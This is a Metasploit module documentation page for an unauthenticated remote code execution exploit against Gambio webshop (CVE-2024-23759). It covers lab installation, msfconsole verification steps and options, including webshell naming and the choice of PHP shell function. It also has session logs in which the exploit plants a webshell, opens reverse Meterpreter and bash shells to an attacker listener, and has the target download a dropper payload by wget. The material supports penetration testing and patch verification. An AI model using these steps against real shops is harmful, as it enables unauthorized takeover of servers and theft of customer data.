## Vulnerable Application

A Remote Code Execution vulnerability in Gambio online webshop version `4.9.2.0` and lower allows remote attackers
to run arbitrary commands via unauthenticated HTTP POST requests. Gambio version 3 is not vulnerable.
The identified vulnerability within Gambio pertains to an insecure deserialization flaw,
which ultimately allows an attacker to execute remote code on affected systems.

The insecure deserialization vulnerability in Gambio poses a significant risk to affected systems.
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
potentially resulting in complete system compromise, data exfiltration, or unauthorized access to sensitive information.

This module has been tested with:
* Gambio online webshop `4.7.2.0` on Ubuntu `22.04` running in VirtualBox `7.0.14 r161095 (Qt5.15.2)`.

## Installation steps to install the Gambio Online Webshop
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
* Download the Gambio Webshop software from [here](https://www.dmsolutions.de/gambio-download.html).
* Unzip the package `Gambio v4.7.2.0.zip` and install the Gambio Online Webshop on your Linux Virtual Machine
* using the installation instructions provided in the ZIP file. Do not use a Windows VM (see Limitations section).
* When installed, you should be able to access the Webshop  either thru `HTTP` port 80 or `HTTPS` port 443
* depending on your configuration settings.

You are now ready to test the module.

## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/multi/http/gambio_unauth_rce_cve_2024_23759`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set target <0=PHP, 1=Unix Command, 2=Linux Dropper>`
- [ ] `exploit`
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings


## Options

### WEBSHELL
You can use this option to set the filename without extension of the webshell.
This is handy if you want to test the webshell upload and execution with different file names.
to bypass any security settings on the Web and PHP server.

### COMMAND
This option provides the user to choose the PHP underlying shell command function to be used for execution.
The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`.
This option is only available when the target selected is either Unix Command or Linux Dropper.
For the native PHP target, by default the `eval()` function will be used for native PHP code execution.

## Scenarios
```msf
msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > info

       Name: Gambio Online Webshop unauthenticated PHP Deserialization Vulnerability
     Module: exploit/multi/http/gambio_unauth_rce_cve_2024_23759
   Platform: PHP, Unix, Linux
       Arch: php, cmd, x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-01-19

Provided by:
  h00die-gr3y <h00die.gr3y@gmail.com>
  usd Herolab

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  =>    0   PHP
      1   Unix Command
      2   Linux Dropper

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.201.25   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasplo
                                        it/basics/using-metasploit.html
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /                yes       The Gambia Webshop endpoint URL
  URIPATH                     no        The URI to use for this exploit (default is random)
  VHOST                       no        HTTP server virtual host
  WEBSHELL                    no        Set webshell name without extension. Name will be randomly generated if
                                         left unset.


  When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address
                                       on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.


  When TARGET is not 0:

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  COMMAND  passthru         yes       Use PHP command function (Accepted: passthru, shell_exec, system, exec)

Payload information:

Description:
  A Remote Code Execution vulnerability in Gambio online webshop version 4.9.2.0 and lower
  allows remote attackers to run arbitrary commands via unauthenticated HTTP POST request.
  The identified vulnerability within Gambio pertains to an insecure deserialization flaw,
  which ultimately allows an attacker to execute remote code on affected systems.
  The insecure deserialization vulnerability in Gambio poses a significant risk to affected systems.
  As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
  potentially resulting in complete system compromise, data exfiltration, or unauthorized access
  to sensitive information.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2024-23759
  https://attackerkb.com/topics/cxCsICfcDY/cve-2024-23759
  https://herolab.usd.de/en/security-advisories/usd-2023-0046/


View the full module info with the info -d command.
```

### Target 0 - PHP native `php/meterpreter/reverse_tcp` session
```msf
msf > use exploits/multi/http/gambio_unauth_rce_cve_2024_23759
[*] Using configured payload php/meterpreter/reverse_tcp
msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set rhosts 192.168.201.25
rhosts => 192.168.201.25
msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set ssl false
[!] Changing the SSL option's value may require changing RPORT!
ssl => false
msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set rport 80
rport => 80
msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set lhost 192.168.201.8
lhost => 192.168.201.8
msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.25:80 can be exploited.
[+] The target appears to be vulnerable. It looks like Gambio Webshop is running.
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (39927 bytes) to 192.168.201.25
[+] Deleted GmacadJjQQOXMux.php
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.25:60348) at 2024-03-24 09:15:50 +0000

meterpreter > sysinfo
Computer    : cuckoo
OS          : Linux cuckoo 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data
meterpreter > pwd
/var/www
meterpreter > exit
```

### Target 1 - Unix Command `cmd/unix/reverse_bash` session
```msf
msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set target 1
target => 1
msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.25:80 can be exploited.
[+] The target appears to be vulnerable. It looks like Gambio Webshop is running.
[*] Executing Unix Command for cmd/unix/reverse_bash
[+] Deleted UJoQmnhL.php
[*] Command shell session 2 opened (192.168.201.8:4444 -> 192.168.201.25:50728) at 2024-03-24 09:17:46 +0000

uname -a
Linux cuckoo 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),29(audio)
exit
```

### Target 2 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session
```msf
msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set target 2
target => 2
msf exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.25:80 can be exploited.
[+] The target appears to be vulnerable. It looks like Gambio Webshop is running.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Using URL: http://192.168.201.8:8080/ODk0gcrj
[*] Client 192.168.201.25 (Wget/1.21.2) requested /ODk0gcrj
[*] Sending payload to 192.168.201.25 (Wget/1.21.2)
[*] Sending stage (3045380 bytes) to 192.168.201.25
[+] Deleted gJlhCqCPLrR.php
[*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.25:46426) at 2024-03-24 09:18:23 +0000
[*] Command Stager progress - 100.00% done (114/114 bytes)
[*] Server stopped.

meterpreter > sysinfo
Computer     : 192.168.201.25
OS           : Ubuntu 22.04 (Linux 5.15.0-101-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: www-data
meterpreter > pwd
/var/www
meterpreter > exit
```

## Limitations
Gambio is also supported on Windows systems, however the admin access seems to be broken on the vulnerable versions.
This causes the exploit not to run successfully.
Another dependency is that one or more tax countries should be defined in the configuration of the application, otherwise
guest users can not be created causing the exploit to fail. The default setup of the application has at least one tax country defined.
